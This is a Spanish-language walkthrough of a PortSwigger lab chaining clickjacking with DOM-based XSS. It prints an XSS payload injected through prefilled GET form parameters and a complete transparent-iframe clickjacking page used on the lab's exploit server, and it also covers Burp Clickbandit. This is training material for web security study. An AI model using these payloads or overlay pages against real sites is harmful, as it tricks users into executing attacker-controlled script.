Exploiting clickjacking vulnerability to trigger DOM based XSS
Laboratorio de Portswigger sobre Clickjacking
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una vulnerabilidad de XSS que se activa mediante un click. Debemos construir un ataque de Clickjacking que engañe al usuario para que haga click en el botón "Click me" y llame a la función print()
Guía de clickjacking
Antes de completar este laboratorio es recomendable leerse esta guía de clickjacking https://justice-reaper.github.io/posts/Clickjacking-Guide/
Resolución
Al acceder a la web vemos esto
Si hacemos click sobre Submit feedback vemos que tenemos un formulario que podemos rellenar
Si enviamos algo de contenido nos responde con este texto y hace alusión al nombre que hemos introducido
Si pulsamos sobre View post vemos que hay una sección de comentarios
Para ver si una web es vulnerable a Clickjacking podemos usar la herramienta shcheck https://github.com/santoru/shcheck.git para identificar las cabeceras de seguridad
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# shcheck.py -i -x -k https://0a7b006303c26c1f81e366e3002500bf.web-security-academy.net/
======================================================
> shcheck.py - santoru ..............................
------------------------------------------------------
Simple tool to check security headers on a webserver
======================================================
[*] Analyzing headers of https://0a7b006303c26c1f81e366e3002500bf.web-security-academy.net/
[!] URL Returned an HTTP error: 404
[*] Effective URL: https://0a7b006303c26c1f81e366e3002500bf.web-security-academy.net/
[!] Missing security header: X-XSS-Protection
[!] Missing security header: X-Frame-Options
[!] Missing security header: X-Content-Type-Options
[!] Missing security header: Strict-Transport-Security
[!] Missing security header: Content-Security-Policy
[!] Missing security header: X-Permitted-Cross-Domain-Policies
[!] Missing security header: Referrer-Policy
[!] Missing security header: Expect-CT
[!] Missing security header: Permissions-Policy
[!] Missing security header: Cross-Origin-Embedder-Policy
[!] Missing security header: Cross-Origin-Resource-Policy
[!] Missing security header: Cross-Origin-Opener-Policy
[*] No information disclosure headers detected
[*] No caching headers detected
-------------------------------------------------------
[!] Headers analyzed for https://0a7b006303c26c1f81e366e3002500bf.web-security-academy.net/
[+] There are 0 security headers
[-] There are not 12 security headers
Si preferimos usar una herramienta web podemos usar securityheaders https://securityheaders.com/
En este caso, vemos que la web no tiene ni Content-Security-Policy (CSP) ni X-Frame-Options, lo cual la hace vulnerable a Clickjacking
Históricamente, el Clickjacking se ha utilizado para realizar acciones como aumentar los "me gusta" en una página de Facebook. Sin embargo, la verdadera potencia del Clickjacking se revela cuando se utiliza como un vector para otro ataque, como un DOM XSS. La implementación de este ataque combinado es relativamente sencilla, suponiendo que el atacante haya identificado primero la vulnerabilidad de XSS. Luego, el exploit XSS se combina con la URL del iframe, de modo que el usuario haga click en el botón o enlace y, en consecuencia, ejecute el ataque de DOM XSS
Si nos fijamos en el código fuente de la página desde la que se envía el formulario vemos que se carga un archivo .js
Si hacemos click sobre el enlace y accedemos a /resources/js/submitFeedback.js vemos este código JavaScript. Si nos fijamos bien se está usando innerHTML, esta propiedad es un sink que nos permite inyectar código HTML y JavaScript
Enviamos este payload
Al pulsar en Submit feedback vemos que podemos inyectar código HTML
Ahora vamos a comprobar que podemos ejecutar código JavaScript
Al pulsar sobre Submit feedback vemos que funciona
Algunos sitios web que requieren completar y enviar formularios permiten rellenar previamente los datos del formulario mediante parámetros GET antes del envío. Dado que los valores GET forman parte de la URL, la URL de destino puede modificarse para incorporar valores elegidos por el atacante
Hay otros sitios web que pueden requerir interacción por parte del usuario, como que el usuario ingrese manualmente los datos, complete pasos previos (como una verificación CAPTCHA) antes de habilitar el envío, etc
Para comprobar si el formulario permite rellenar previamente los datos mediante parámetros GET, lo primero que necesitamos hacer es identificar los nombres de los campos. En este caso vemos que el valor del campo a rellenar es name
El siguiente paso es añadir el parámetro name a la URL y ver si se rellena el campo name del formulario, para ello, accedemos a https://0abc00e1044662e9828fa7c9008500b8.web-security-academy.net/feedback?name=test y vemos que sí que funciona
Para rellenar los demás campos lo tenemos que hacer de esta manera. Lo que hace este payload es rellenar todos los campos del formulario y luego desplazarnos al id feedbackResult, el cual corresponde al botón del envío
1
/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult
Una vez comprobado esto vamos a enlazar ambas vulnerabilidades para causar un mayor impacto, para ello, nos dirigimos al Exploit Server y pegamos este payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.3;
z-index: 2;
}
div {
position:absolute;
top:620px;
left:75px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0abc00e1044662e9828fa7c9008500b8.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
Pinchamos sobre View exploit y vemos que todo está bien centrado
Cambiamos la opacidad a 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0;
z-index: 2;
}
div {
position:absolute;
top:620px;
left:75px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0abc00e1044662e9828fa7c9008500b8.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
Probamos que funciona pulsando sobre View exploit > Click me y posteriormente le enviamos el exploit a la víctima pulsando Deliver exploit to victim
Otra forma alternativa sería usando la herramienta Clickbandit de Burpsuite, para usarla nos dirigimos a Burpsuite y pulsamos Burp > Burp Clickbandit
Pulsamos sobre Copy Clickbandit to clipboard
Nos dirigimos a Chrome, accedemos a https://0abc00e1044662e9828fa7c9008500b8.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult, nos abrimos la consola de desarrollador y pegamos ahí todo el código
Una vez hecho esto nos saldrá este menú
Marcamos la casilla Disable click actions para desactivar los clicks. Una vez hecho esto pulsamos en Start
Lo siguiente sería pulsar sobre el botón que queremos, en este caso sobre Submit feedback que es el que queremos usar para el ataque de Clickjacking
Una vez hecho esto, pulsamos sobre Finish y se nos mostrará como es nuestro payload actualmente
Usando los símbolos - y +, podemos subir o bajar el aumento, y con Toogle transparency podemos activar o desactivar la transparencia. En mi caso, lo voy a dejar de esta forma. Cuando ya lo tengamos como queremos, pulsamos en Save y se nos descargará un documento HTML
Pegamos el código en el Exploit server
Pulsamos sobre View exploit para ver si se ve correctamente
Hacemos click sobre el botón y vemos que podemos explotar el XSS






























